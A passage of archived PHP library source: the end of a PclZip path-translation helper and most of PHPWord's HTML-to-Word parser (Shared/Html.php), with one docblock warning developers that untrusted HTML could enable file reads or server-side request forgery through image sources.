// Description :
//   Translate windows path by replacing '\' by '/' and optionally removing
//   drive letter.
// Parameters :
//   $p_path : path to translate.
//   $p_remove_disk_letter : true | false
// Return Values :
//   The path translated.
// --------------------------------------------------------------------------------
function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter = true)
{
    if (stristr(php_uname(), 'windows')) {
        // ----- Look for potential disk letter
        if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
            $p_path = substr($p_path, $v_position + 1);
        }
        // ----- Change potential windows directory separator
        if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0, 1) == '\\')) {
            $p_path = strtr($p_path, '\\', '/');
        }
    }

    return $p_path;
}
// --------------------------------------------------------------------------------
vendor/phpoffice/phpword/src/PhpWord/Shared/Html.php000066600000135751151150442730016506 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Shared;

use DOMAttr;
use DOMDocument;
use DOMNode;
use DOMXPath;
use Exception;
use PhpOffice\PhpWord\Element\AbstractContainer;
use PhpOffice\PhpWord\Element\Row;
use PhpOffice\PhpWord\Element\Table;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\SimpleType\Jc;
use PhpOffice\PhpWord\SimpleType\NumberFormat;
use PhpOffice\PhpWord\Style\Paragraph;

/**
 * Common Html functions.
 *
 * @SuppressWarnings(PHPMD.UnusedPrivateMethod) For readWPNode
 */
class Html
{
    private const RGB_REGEXP = '/^\s*rgb\s*[(]\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*[)]\s*$/';

    protected static $listIndex = 0;

    protected static $xpath;

    protected static $options;

    /**
     * @var Css
     */
    protected static $css;

    /**
     * Add HTML parts.
     *
     * Note: $stylesheet parameter is removed to avoid PHPMD error for unused parameter
     * Warning: Do not pass user-generated HTML here, as that would allow an attacker to read arbitrary
     * files or perform server-side request forgery by passing local file paths or URLs in <img>.
     *
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element Where the parts need to be added
     * @param string $html The code to parse
     * @param bool $fullHTML If it's a full HTML, no need to add 'body' tag
     * @param bool $preserveWhiteSpace If false, the whitespaces between nodes will be removed
     */
    public static function addHtml($element, $html, $fullHTML = false, $preserveWhiteSpace = true, $options = null): void
    {
        /*
         * @todo parse $stylesheet for default styles.  Should result in an array based on id, class and element,
         * which could be applied when such an element occurs in the parseNode function.
         */
        static::$options = $options;

        // Preprocess: remove all line ends, decode HTML entity,
        // fix ampersand and angle brackets and add body tag for HTML fragments
        $html = str_replace(["\n", "\r"], '', $html);
        $html = str_replace(['&lt;', '&gt;', '&amp;', '&quot;'], ['_lt_', '_gt_', '_amp_', '_quot_'], $html);
        $html = html_entity_decode($html, ENT_QUOTES, 'UTF-8');
        $html = str_replace('&', '&amp;', $html);
        $html = str_replace(['_lt_', '_gt_', '_amp_', '_quot_'], ['&lt;', '&gt;', '&amp;', '&quot;'], $html);

        if (false === $fullHTML) {
            $html = '<body>' . $html . '</body>';
        }

        // Load DOM
        if (\PHP_VERSION_ID < 80000) {
            $orignalLibEntityLoader = libxml_disable_entity_loader(true);
        }
        $dom = new DOMDocument();
        $dom->preserveWhiteSpace = $preserveWhiteSpace;
        $dom->loadXML($html);
        static::$xpath = new DOMXPath($dom);
        $node = $dom->getElementsByTagName('body');

        static::parseNode($node->item(0), $element);
        if (\PHP_VERSION_ID < 80000) {
            libxml_disable_entity_loader($orignalLibEntityLoader);
        }
    }

    /**
     * parse Inline style of a node.
     *
     * @param DOMNode $node Node to check on attributes and to compile a style array
     * @param array<string, mixed> $styles is supplied, the inline style attributes are added to the already existing style
     *
     * @return array
     */
    protected static function parseInlineStyle($node, $styles = [])
    {
        if (XML_ELEMENT_NODE == $node->nodeType) {
            $attributes = $node->attributes; // get all the attributes(eg: id, class)

            $attributeDir = $attributes->getNamedItem('dir');
            $attributeDirValue = $attributeDir ? $attributeDir->nodeValue : '';
            $bidi = $attributeDirValue === 'rtl';
            foreach ($attributes as $attribute) {
                $val = $attribute->value;
                switch (strtolower($attribute->name)) {
                    case 'align':
                        $styles['alignment'] = self::mapAlign(trim($val), $bidi);

                        break;
                    case 'lang':
                        $styles['lang'] = $val;

                        break;
                    case 'width':
                        // tables, cells
                        if (false !== strpos($val, '%')) {
                            // e.g. <table width="100%"> or <td width="50%">
                            $styles['width'] = (int) $val * 50;
                            $styles['unit'] = \PhpOffice\PhpWord\SimpleType\TblWidth::PERCENT;
                        } else {
                            // e.g. <table width="250> where "250" = 250px (always pixels)
                            $styles['width'] = Converter::pixelToTwip($val);
                            $styles['unit'] = \PhpOffice\PhpWord\SimpleType\TblWidth::TWIP;
                        }

                        break;
                    case 'cellspacing':
                        // tables e.g. <table cellspacing="2">,  where "2" = 2px (always pixels)
                        $val = (int) $val . 'px';
                        $styles['cellSpacing'] = Converter::cssToTwip($val);

                        break;
                    case 'bgcolor':
                        // tables, rows, cells e.g. <tr bgColor="#FF0000">
                        $styles['bgColor'] = self::convertRgb($val);

                        break;
                    case 'valign':
                        // cells e.g. <td valign="middle">
                        if (preg_match('#(?:top|bottom|middle|baseline)#i', $val, $matches)) {
                            $styles['valign'] = self::mapAlignVertical($matches[0]);
                        }

                        break;
                }
            }

            $attributeIdentifier = $attributes->getNamedItem('id');
            if ($attributeIdentifier && self::$css) {
                $styles = self::parseStyleDeclarations(self::$css->getStyle('#' . $attributeIdentifier->nodeValue), $styles);
            }

            $attributeClass = $attributes->getNamedItem('class');
            if ($attributeClass) {
                if (self::$css) {
                    $styles = self::parseStyleDeclarations(self::$css->getStyle('.' . $attributeClass->nodeValue), $styles);
                }
                $styles['className'] = $attributeClass->nodeValue;
            }

            $attributeStyle = $attributes->getNamedItem('style');
            if ($attributeStyle) {
                $styles = self::parseStyle($attributeStyle, $styles);
            }
        }

        return $styles;
    }

    /**
     * Parse a node and add a corresponding element to the parent element.
     *
     * @param DOMNode $node node to parse
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element object to add an element corresponding with the node
     * @param array $styles Array with all styles
     * @param array $data Array to transport data to a next level in the DOM tree, for example level of listitems
     */
    protected static function parseNode($node, $element, $styles = [], $data = []): void
    {
        if ($node->nodeName == 'style') {
            self::$css = new Css($node->textContent);
            self::$css->process();

            return;
        }

        // Populate styles array
        $styleTypes = ['font', 'paragraph', 'list', 'table', 'row', 'cell'];
        foreach ($styleTypes as $styleType) {
            if (!isset($styles[$styleType])) {
                $styles[$styleType] = [];
            }
        }

        // Node mapping table
        $nodes = [
            // $method        $node   $element    $styles     $data   $argument1      $argument2
            'p' => ['Paragraph',   $node,  $element,   $styles,    null,   null,           null],
            'h1' => ['Heading',     null,   $element,   $styles,    null,   'Heading1',     null],
            'h2' => ['Heading',     null,   $element,   $styles,    null,   'Heading2',     null],
            'h3' => ['Heading',     null,   $element,   $styles,    null,   'Heading3',     null],
            'h4' => ['Heading',     null,   $element,   $styles,    null,   'Heading4',     null],
            'h5' => ['Heading',     null,   $element,   $styles,    null,   'Heading5',     null],
            'h6' => ['Heading',     null,   $element,   $styles,    null,   'Heading6',     null],
            '#text' => ['Text',        $node,  $element,   $styles,    null,   null,           null],
            'strong' => ['Property',    null,   null,       $styles,    null,   'bold',         true],
            'b' => ['Property',    null,   null,       $styles,    null,   'bold',         true],
            'em' => ['Property',    null,   null,       $styles,    null,   'italic',       true],
            'i' => ['Property',    null,   null,       $styles,    null,   'italic',       true],
            'u' => ['Property',    null,   null,       $styles,    null,   'underline',    'single'],
            'sup' => ['Property',    null,   null,       $styles,    null,   'superScript',  true],
            'sub' => ['Property',    null,   null,       $styles,    null,   'subScript',    true],
            'span' => ['Span',        $node,  null,       $styles,    null,   null,           null],
            'font' => ['Span',        $node,  null,       $styles,    null,   null,           null],
            'table' => ['Table',       $node,  $element,   $styles,    null,   null,           null],
            'tr' => ['Row',         $node,  $element,   $styles,    null,   null,           null],
            'td' => ['Cell',        $node,  $element,   $styles,    null,   null,           null],
            'th' => ['Cell',        $node,  $element,   $styles,    null,   null,           null],
            'ul' => ['List',        $node,  $element,   $styles,    $data,  null,           null],
            'ol' => ['List',        $node,  $element,   $styles,    $data,  null,           null],
            'li' => ['ListItem',    $node,  $element,   $styles,    $data,  null,           null],
            'img' => ['Image',       $node,  $element,   $styles,    null,   null,           null],
            'br' => ['LineBreak',   null,   $element,   $styles,    null,   null,           null],
            'a' => ['Link',        $node,  $element,   $styles,    null,   null,           null],
            'input' => ['Input',       $node,  $element,   $styles,    null,   null,           null],
            'hr' => ['HorizRule',   $node,  $element,   $styles,    null,   null,           null],
        ];

        $newElement = null;
        $keys = ['node', 'element', 'styles', 'data', 'argument1', 'argument2'];

        if (isset($nodes[$node->nodeName])) {
            // Execute method based on node mapping table and return $newElement or null
            // Arguments are passed by reference
            $arguments = [];
            $args = [];
            [$method, $args[0], $args[1], $args[2], $args[3], $args[4], $args[5]] = $nodes[$node->nodeName];
            for ($i = 0; $i <= 5; ++$i) {
                if ($args[$i] !== null) {
                    $arguments[$keys[$i]] = &$args[$i];
                }
            }
            $method = "parse{$method}";
            $newElement = call_user_func_array(['PhpOffice\PhpWord\Shared\Html', $method], array_values($arguments));

            // Retrieve back variables from arguments
            foreach ($keys as $key) {
                if (array_key_exists($key, $arguments)) {
                    $$key = $arguments[$key];
                }
            }
        }

        if ($newElement === null) {
            $newElement = $element;
        }

        static::parseChildNodes($node, $newElement, $styles, $data);
    }

    /**
     * Parse child nodes.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer|Row|Table $element
     * @param array $styles
     * @param array $data
     */
    protected static function parseChildNodes($node, $element, $styles, $data): void
    {
        if ('li' != $node->nodeName) {
            $cNodes = $node->childNodes;
            if (!empty($cNodes)) {
                foreach ($cNodes as $cNode) {
                    if ($element instanceof AbstractContainer || $element instanceof Table || $element instanceof Row) {
                        self::parseNode($cNode, $element, $styles, $data);
                    }
                }
            }
        }
    }

    /**
     * Parse paragraph node.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     * @param array &$styles
     *
     * @return \PhpOffice\PhpWord\Element\PageBreak|\PhpOffice\PhpWord\Element\TextRun
     */
    protected static function parseParagraph($node, $element, &$styles)
    {
        $styles['paragraph'] = self::recursiveParseStylesInHierarchy($node, $styles['paragraph']);
        if (isset($styles['paragraph']['isPageBreak']) && $styles['paragraph']['isPageBreak']) {
            return $element->addPageBreak();
        }

        return $element->addTextRun($styles['paragraph']);
    }

    /**
     * Parse input node.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     * @param array &$styles
     */
    protected static function parseInput($node, $element, &$styles): void
    {
        $attributes = $node->attributes;
        if (null === $attributes->getNamedItem('type')) {
            return;
        }

        $inputType = $attributes->getNamedItem('type')->nodeValue;
        switch ($inputType) {
            case 'checkbox':
                $checked = ($checked = $attributes->getNamedItem('checked')) && $checked->nodeValue === 'true' ? true : false;
                $textrun = $element->addTextRun($styles['paragraph']);
                $textrun->addFormField('checkbox')->setValue($checked);

                break;
        }
    }

    /**
     * Parse heading node.
     *
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     * @param array &$styles
     * @param string $argument1 Name of heading style
     *
     * @return \PhpOffice\PhpWord\Element\TextRun
     *
     * @todo Think of a clever way of defining header styles, now it is only based on the assumption, that
     * Heading1 - Heading6 are already defined somewhere
     */
    protected static function parseHeading($element, &$styles, $argument1)
    {
        $styles['paragraph'] = $argument1;
        $newElement = $element->addTextRun($styles['paragraph']);

        return $newElement;
    }

    /**
     * Parse text node.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     * @param array &$styles
     */
    protected static function parseText($node, $element, &$styles): void
    {
        $styles['font'] = self::recursiveParseStylesInHierarchy($node, $styles['font']);

        //alignment applies on paragraph, not on font. Let's copy it there
        if (isset($styles['font']['alignment']) && is_array($styles['paragraph'])) {
            $styles['paragraph']['alignment'] = $styles['font']['alignment'];
        }

        if (is_callable([$element, 'addText'])) {
            $element->addText($node->nodeValue, $styles['font'], $styles['paragraph']);
        }
    }

    /**
     * Parse property node.
     *
     * @param array &$styles
     * @param string $argument1 Style name
     * @param string $argument2 Style value
     */
    protected static function parseProperty(&$styles, $argument1, $argument2): void
    {
        $styles['font'][$argument1] = $argument2;
    }

    /**
     * Parse span node.
     *
     * @param DOMNode $node
     * @param array &$styles
     */
    protected static function parseSpan($node, &$styles): void
    {
        self::parseInlineStyle($node, $styles['font']);
    }

    /**
     * Parse table node.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     * @param array &$styles
     *
     * @return Table $element
     *
     * @todo As soon as TableItem, RowItem and CellItem support relative width and height
     */
    protected static function parseTable($node, $element, &$styles)
    {
        $elementStyles = self::parseInlineStyle($node, $styles['table']);

        $newElement = $element->addTable($elementStyles);

        // Add style name from CSS Class
        if (isset($elementStyles['className'])) {
            $newElement->getStyle()->setStyleName($elementStyles['className']);
        }

        $attributes = $node->attributes;
        if ($attributes->getNamedItem('border')) {
            $border = (int) $attributes->getNamedItem('border')->nodeValue;
            $newElement->getStyle()->setBorderSize(Converter::pixelToTwip($border));
        }

        return $newElement;
    }

    /**
     * Parse a table row.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\Table $element
     * @param array &$styles
     *
     * @return Row $element
     */
    protected static function parseRow($node, $element, &$styles)
    {
        $rowStyles = self::parseInlineStyle($node, $styles['row']);
        if ($node->parentNode->nodeName == 'thead') {
            $rowStyles['tblHeader'] = true;
        }

        // set cell height to control row heights
        $height = $rowStyles['height'] ?? null;
        unset($rowStyles['height']); // would not apply

        return $element->addRow($height, $rowStyles);
    }

    /**
     * Parse table cell.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\Table $element
     * @param array &$styles
     *
     * @return \PhpOffice\PhpWord\Element\Cell|\PhpOffice\PhpWord\Element\TextRun $element
     */
    protected static function parseCell($node, $element, &$styles)
    {
        $cellStyles = self::recursiveParseStylesInHierarchy($node, $styles['cell']);

        $colspan = $node->getAttribute('colspan');
        if (!empty($colspan)) {
            $cellStyles['gridSpan'] = $colspan - 0;
        }

        // set cell width to control column widths
        $width = $cellStyles['width'] ?? null;
        unset($cellStyles['width']); // would not apply
        $cell = $element->addCell($width, $cellStyles);

        if (self::shouldAddTextRun($node)) {
            return $cell->addTextRun(self::filterOutNonInheritedStyles(self::parseInlineStyle($node, $styles['paragraph'])));
        }

        return $cell;
    }

    /**
     * Checks if $node contains an HTML element that cannot be added to TextRun.
     *
     * @return bool Returns true if the node contains an HTML element that cannot be added to TextRun
     */
    protected static function shouldAddTextRun(DOMNode $node)
    {
        $containsBlockElement = self::$xpath->query('.//table|./p|./ul|./ol|./h1|./h2|./h3|./h4|./h5|./h6', $node)->length > 0;
        if ($containsBlockElement) {
            return false;
        }

        return true;
    }

    /**
     * Recursively parses styles on parent nodes
     * TODO if too slow, add caching of parent nodes, !! everything is static here so watch out for concurrency !!
     */
    protected static function recursiveParseStylesInHierarchy(DOMNode $node, array $style)
    {
        $parentStyle = [];
        if ($node->parentNode != null && XML_ELEMENT_NODE == $node->parentNode->nodeType) {
            $parentStyle = self::recursiveParseStylesInHierarchy($node->parentNode, []);
        }
        if ($node->nodeName === '#text') {
            $parentStyle = array_merge($parentStyle, $style);
        } else {
            $parentStyle = self::filterOutNonInheritedStyles($parentStyle);
        }
        $style = self::parseInlineStyle($node, $parentStyle);

        return $style;
    }

    /**
     * Removes non-inherited styles from array.
     */
    protected static function filterOutNonInheritedStyles(array $styles)
    {
        $nonInheritedStyles = [
            'borderSize',
            'borderTopSize',
            'borderRightSize',
            'borderBottomSize',
            'borderLeftSize',
            'borderColor',
            'borderTopColor',
            'borderRightColor',
            'borderBottomColor',
            'borderLeftColor',
            'borderStyle',
            'spaceAfter',
            'spaceBefore',
            'underline',
            'strikethrough',
            'hidden',
        ];

        $styles = array_diff_key($styles, array_flip($nonInheritedStyles));

        return $styles;
    }

    /**
     * Parse list node.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     * @param array &$styles
     * @param array &$data
     */
    protected static function parseList($node, $element, &$styles, &$data)
    {
        $isOrderedList = $node->nodeName === 'ol';
        if (isset($data['listdepth'])) {
            ++$data['listdepth'];
        } else {
            $data['listdepth'] = 0;
            $styles['list'] = 'listStyle_' . self::$listIndex++;
            $style = $element->getPhpWord()->addNumberingStyle($styles['list'], self::getListStyle($isOrderedList));

            // extract attributes start & type e.g. <ol type="A" start="3">
            $start = 0;
            $type = '';
            foreach ($node->attributes as $attribute) {
                switch ($attribute->name) {
                    case 'start':
                        $start = (int) $attribute->value;

                        break;
                    case 'type':
                        $type = $attribute->value;

                        break;
                }
            }

            $levels = $style->getLevels();
            /** @var \PhpOffice\PhpWord\Style\NumberingLevel */
            $level = $levels[0];
            if ($start > 0) {
                $level->setStart($start);
            }
            $type = $type ? self::mapListType($type) : null;
            if ($type) {
                $level->setFormat($type);
            }
        }
        if ($node->parentNode->nodeName === 'li') {
            return $element->getParent();
        }
    }

    /**
     * @param bool $isOrderedList
     *
     * @return array
     */
    protected static function getListStyle($isOrderedList)
    {
        if ($isOrderedList) {
            return [
                'type' => 'multilevel',
                'levels' => [
                    ['format' => NumberFormat::DECIMAL,      'text' => '%1.', 'alignment' => 'left',  'tabPos' => 720,  'left' => 720,  'hanging' => 360],
                    ['format' => NumberFormat::LOWER_LETTER, 'text' => '%2.', 'alignment' => 'left',  'tabPos' => 1440, 'left' => 1440, 'hanging' => 360],
                    ['format' => NumberFormat::LOWER_ROMAN,  'text' => '%3.', 'alignment' => 'right', 'tabPos' => 2160, 'left' => 2160, 'hanging' => 180],
                    ['format' => NumberFormat::DECIMAL,      'text' => '%4.', 'alignment' => 'left',  'tabPos' => 2880, 'left' => 2880, 'hanging' => 360],
                    ['format' => NumberFormat::LOWER_LETTER, 'text' => '%5.', 'alignment' => 'left',  'tabPos' => 3600, 'left' => 3600, 'hanging' => 360],
                    ['format' => NumberFormat::LOWER_ROMAN,  'text' => '%6.', 'alignment' => 'right', 'tabPos' => 4320, 'left' => 4320, 'hanging' => 180],
                    ['format' => NumberFormat::DECIMAL,      'text' => '%7.', 'alignment' => 'left',  'tabPos' => 5040, 'left' => 5040, 'hanging' => 360],
                    ['format' => NumberFormat::LOWER_LETTER, 'text' => '%8.', 'alignment' => 'left',  'tabPos' => 5760, 'left' => 5760, 'hanging' => 360],
                    ['format' => NumberFormat::LOWER_ROMAN,  'text' => '%9.', 'alignment' => 'right', 'tabPos' => 6480, 'left' => 6480, 'hanging' => 180],
                ],
            ];
        }

        return [
            'type' => 'hybridMultilevel',
            'levels' => [
                ['format' => NumberFormat::BULLET, 'text' => '', 'alignment' => 'left', 'tabPos' => 720,  'left' => 720,  'hanging' => 360, 'font' => 'Symbol',      'hint' => 'default'],
                ['format' => NumberFormat::BULLET, 'text' => 'o',  'alignment' => 'left', 'tabPos' => 1440, 'left' => 1440, 'hanging' => 360, 'font' => 'Courier New', 'hint' => 'default'],
                ['format' => NumberFormat::BULLET, 'text' => '', 'alignment' => 'left', 'tabPos' => 2160, 'left' => 2160, 'hanging' => 360, 'font' => 'Wingdings',   'hint' => 'default'],
                ['format' => NumberFormat::BULLET, 'text' => '', 'alignment' => 'left', 'tabPos' => 2880, 'left' => 2880, 'hanging' => 360, 'font' => 'Symbol',      'hint' => 'default'],
                ['format' => NumberFormat::BULLET, 'text' => 'o',  'alignment' => 'left', 'tabPos' => 3600, 'left' => 3600, 'hanging' => 360, 'font' => 'Courier New', 'hint' => 'default'],
                ['format' => NumberFormat::BULLET, 'text' => '', 'alignment' => 'left', 'tabPos' => 4320, 'left' => 4320, 'hanging' => 360, 'font' => 'Wingdings',   'hint' => 'default'],
                ['format' => NumberFormat::BULLET, 'text' => '', 'alignment' => 'left', 'tabPos' => 5040, 'left' => 5040, 'hanging' => 360, 'font' => 'Symbol',      'hint' => 'default'],
                ['format' => NumberFormat::BULLET, 'text' => 'o',  'alignment' => 'left', 'tabPos' => 5760, 'left' => 5760, 'hanging' => 360, 'font' => 'Courier New', 'hint' => 'default'],
                ['format' => NumberFormat::BULLET, 'text' => '', 'alignment' => 'left', 'tabPos' => 6480, 'left' => 6480, 'hanging' => 360, 'font' => 'Wingdings',   'hint' => 'default'],
            ],
        ];
    }

    /**
     * Parse list item node.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     * @param array &$styles
     * @param array $data
     *
     * @todo This function is almost the same like `parseChildNodes`. Merged?
     * @todo As soon as ListItem inherits from AbstractContainer or TextRun delete parsing part of childNodes
     */
    protected static function parseListItem($node, $element, &$styles, $data): void
    {
        $cNodes = $node->childNodes;
        if (!empty($cNodes)) {
            $listRun = $element->addListItemRun($data['listdepth'], $styles['list'], $styles['paragraph']);
            foreach ($cNodes as $cNode) {
                self::parseNode($cNode, $listRun, $styles, $data);
            }
        }
    }

    /**
     * Parse style.
     *
     * @param DOMAttr $attribute
     * @param array $styles
     *
     * @return array
     */
    protected static function parseStyle($attribute, $styles)
    {
        $properties = explode(';', trim($attribute->value, " \t\n\r\0\x0B;"));

        $selectors = [];
        foreach ($properties as $property) {
            [$cKey, $cValue] = array_pad(explode(':', $property, 2), 2, null);
            $selectors[strtolower(trim($cKey))] = trim($cValue ?? '');
        }

        return self::parseStyleDeclarations($selectors, $styles);
    }

    protected static function parseStyleDeclarations(array $selectors, array $styles)
    {
        $bidi = ($selectors['direction'] ?? '') === 'rtl';
        foreach ($selectors as $property => $value) {
            switch ($property) {
                case 'text-decoration':
                    switch ($value) {
                        case 'underline':
                            $styles['underline'] = 'single';

                            break;
                        case 'line-through':
                            $styles['strikethrough'] = true;

                            break;
                    }

                    break;
                case 'text-align':
                    $styles['alignment'] = self::mapAlign($value, $bidi);

                    break;
                case 'display':
                    $styles['hidden'] = $value === 'none' || $value === 'hidden';

                    break;
                case 'direction':
                    $styles['rtl'] = $value === 'rtl';
                    $styles['bidi'] = $value === 'rtl';

                    break;
                case 'font-size':
                    $styles['size'] = Converter::cssToPoint($value);

                    break;
                case 'font-family':
                    $value = array_map('trim', explode(',', $value));
                    $styles['name'] = ucwords($value[0]);

                    break;
                case 'color':
                    $styles['color'] = self::convertRgb($value);

                    break;
                case 'background-color':
                    $styles['bgColor'] = self::convertRgb($value);

                    break;
                case 'line-height':
                    $matches = [];
                    if ($value === 'normal') {
                        $spacingLineRule = \PhpOffice\PhpWord\SimpleType\LineSpacingRule::AUTO;
                        $spacing = 0;
                    } elseif (preg_match('/([0-9]+\.?[0-9]*[a-z]+)/', $value, $matches)) {
                        //matches number with a unit, e.g. 12px, 15pt, 20mm, ...
                        $spacingLineRule = \PhpOffice\PhpWord\SimpleType\LineSpacingRule::EXACT;
                        $spacing = Converter::cssToTwip($matches[1]);
                    } elseif (preg_match('/([0-9]+)%/', $value, $matches)) {
                        //matches percentages
                        $spacingLineRule = \PhpOffice\PhpWord\SimpleType\LineSpacingRule::AUTO;
                        //we are subtracting 1 line height because the Spacing writer is adding one line
                        $spacing = ((((int) $matches[1]) / 100) * Paragraph::LINE_HEIGHT) - Paragraph::LINE_HEIGHT;
                    } else {
                        //any other, wich is a multiplier. E.g. 1.2
                        $spacingLineRule = \PhpOffice\PhpWord\SimpleType\LineSpacingRule::AUTO;
                        //we are subtracting 1 line height because the Spacing writer is adding one line
                        $spacing = ($value * Paragraph::LINE_HEIGHT) - Paragraph::LINE_HEIGHT;
                    }
                    $styles['spacingLineRule'] = $spacingLineRule;
                    $styles['line-spacing'] = $spacing;

                    break;
                case 'letter-spacing':
                    $styles['letter-spacing'] = Converter::cssToTwip($value);

                    break;
                case 'text-indent':
                    $styles['indentation']['firstLine'] = Converter::cssToTwip($value);

                    break;
                case 'font-weight':
                    $tValue = false;
                    if (preg_match('#bold#', $value)) {
                        $tValue = true; // also match bolder
                    }
                    $styles['bold'] = $tValue;

                    break;
                case 'font-style':
                    $tValue = false;
                    if (preg_match('#(?:italic|oblique)#', $value)) {
                        $tValue = true;
                    }
                    $styles['italic'] = $tValue;

                    break;
                case 'font-variant':
                    $tValue = false;
                    if (preg_match('#small-caps#', $value)) {
                        $tValue = true;
                    }
                    $styles['smallCaps'] = $tValue;

                    break;
                case 'margin':
                    $value = Converter::cssToTwip($value);
                    $styles['spaceBefore'] = $value;
                    $styles['spaceAfter'] = $value;

                    break;
                case 'margin-top':
                    // BC change: up to ver. 0.17.0 incorrectly converted to points - Converter::cssToPoint($value)
                    $styles['spaceBefore'] = Converter::cssToTwip($value);

                    break;
                case 'margin-bottom':
                    // BC change: up to ver. 0.17.0 incorrectly converted to points - Converter::cssToPoint($value)
                    $styles['spaceAfter'] = Converter::cssToTwip($value);

                    break;
                case 'border-color':
                    self::mapBorderColor($styles, $value);

                    break;
                case 'border-width':
                    $styles['borderSize'] = Converter::cssToPoint($value);

                    break;
                case 'border-style':
                    $styles['borderStyle'] = self::mapBorderStyle($value);

                    break;
                case 'width':
                    if (preg_match('/([0-9]+[a-z]+)/', $value, $matches)) {
                        $styles['width'] = Converter::cssToTwip($matches[1]);
                        $styles['unit'] = \PhpOffice\PhpWord\SimpleType\TblWidth::TWIP;
                    } elseif (preg_match('/([0-9]+)%/', $value, $matches)) {
                        $styles['width'] = $matches[1] * 50;
                        $styles['unit'] = \PhpOffice\PhpWord\SimpleType\TblWidth::PERCENT;
                    } elseif (preg_match('/([0-9]+)/', $value, $matches)) {
                        $styles['width'] = $matches[1];
                        $styles['unit'] = \PhpOffice\PhpWord\SimpleType\TblWidth::AUTO;
                    }

                    break;
                case 'height':
                    $styles['height'] = Converter::cssToTwip($value);
                    $styles['exactHeight'] = true;

                    break;
                case 'border':
                case 'border-top':
                case 'border-bottom':
                case 'border-right':
                case 'border-left':
                    // must have exact order [width color style], e.g. "1px #0011CC solid" or "2pt green solid"
                    // Word does not accept shortened hex colors e.g. #CCC, only full e.g. #CCCCCC
                    if (preg_match('/([0-9]+[^0-9]*)\s+(\#[a-fA-F0-9]+|[a-zA-Z]+)\s+([a-z]+)/', $value, $matches)) {
                        if (false !== strpos($property, '-')) {
                            $tmp = explode('-', $property);
                            $which = $tmp[1];
                            $which = ucfirst($which); // e.g. bottom -> Bottom
                        } else {
                            $which = '';
                        }
                        // Note - border width normalization:
                        // Width of border in Word is calculated differently than HTML borders, usually showing up too bold.
                        // Smallest 1px (or 1pt) appears in Word like 2-3px/pt in HTML once converted to twips.
                        // Therefore we need to normalize converted twip value to cca 1/2 of value.
                        // This may be adjusted, if better ratio or formula found.
                        // BC change: up to ver. 0.17.0 was $size converted to points - Converter::cssToPoint($size)
                        $size = Converter::cssToTwip($matches[1]);
                        $size = (int) ($size / 2);
                        // valid variants may be e.g. borderSize, borderTopSize, borderLeftColor, etc ..
                        $styles["border{$which}Size"] = $size; // twips
                        $styles["border{$which}Color"] = trim($matches[2], '#');
                        $styles["border{$which}Style"] = self::mapBorderStyle($matches[3]);
                    }

                    break;
                case 'vertical-align':
                    // https://developer.mozilla.org/en-US/docs/Web/CSS/vertical-align
                    if (preg_match('#(?:top|bottom|middle|sub|baseline)#i', $value, $matches)) {
                        $styles['valign'] = self::mapAlignVertical($matches[0]);
                    }

                    break;
                case 'page-break-after':
                    if ($value == 'always') {
                        $styles['isPageBreak'] = true;
                    }

                    break;
            }
        }

        return $styles;
    }

    /**
     * Parse image node.
     *
     * @param DOMNode $node
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $element
     *
     * @return \PhpOffice\PhpWord\Element\Image
     */
    protected static function parseImage($node, $element)
    {
        $style = [];
        $src = null;
        foreach ($node->attributes as $attribute) {
            switch ($attribute->name) {
                case 'src':
                    $src = $attribute->value;

                    break;
                case 'width':
                    $width = $attribute->value;

                    // pt
                    if (false !== strpos($width, 'pt')) {
                        $width = Converter::pointToPixel((float) str_replace('pt', '', $width));
                    }

                    // px
                    if (false !== strpos($width, 'px')) {
                        $width = str_replace('px', '', $width);
                    }

                    $style['width'] = $width;
                    $style['unit'] = \PhpOffice\PhpWord\Style\Image::UNIT_PX;

                    break;
                case 'height':
                    $height = $attribute->value;

                    // pt
                    if (false !== strpos($height, 'pt')) {
                        $height = Converter::pointToPixel((float) str_replace('pt', '', $height));
                    }

                    // px
                    if (false !== strpos($height, 'px')) {
                        $height = str_replace('px', '', $height);
                    }

                    $style['height'] = $height;
                    $style['unit'] = \PhpOffice\PhpWord\Style\Image::UNIT_PX;

                    break;
                case 'style':
                    $styleattr = explode(';', $attribute->value);
                    foreach ($styleattr as $attr) {
                        if (strpos($attr, ':')) {
                            [$k, $v] = explode(':', $attr);
                            switch ($k) {
                                case 'float':
                                    if (trim($v) == 'right') {
                                        $style['hPos'] = \PhpOffice\PhpWord\Style\Image::POS_RIGHT;
                                        $style['hPosRelTo'] = \PhpOffice\PhpWord\Style\Image::POS_RELTO_MARGIN; // inner section area
                                        $style['pos'] = \PhpOffice\PhpWord\Style\Image::POS_RELATIVE;
                                        $style['wrap'] = \PhpOffice\PhpWord\Style\Image::WRAP_TIGHT;
                                        $style['overlap'] = true;
                                    }
                                    if (trim($v) == 'left') {
                                        $style['hPos'] = \PhpOffice\PhpWord\Style\Image::POS_LEFT;
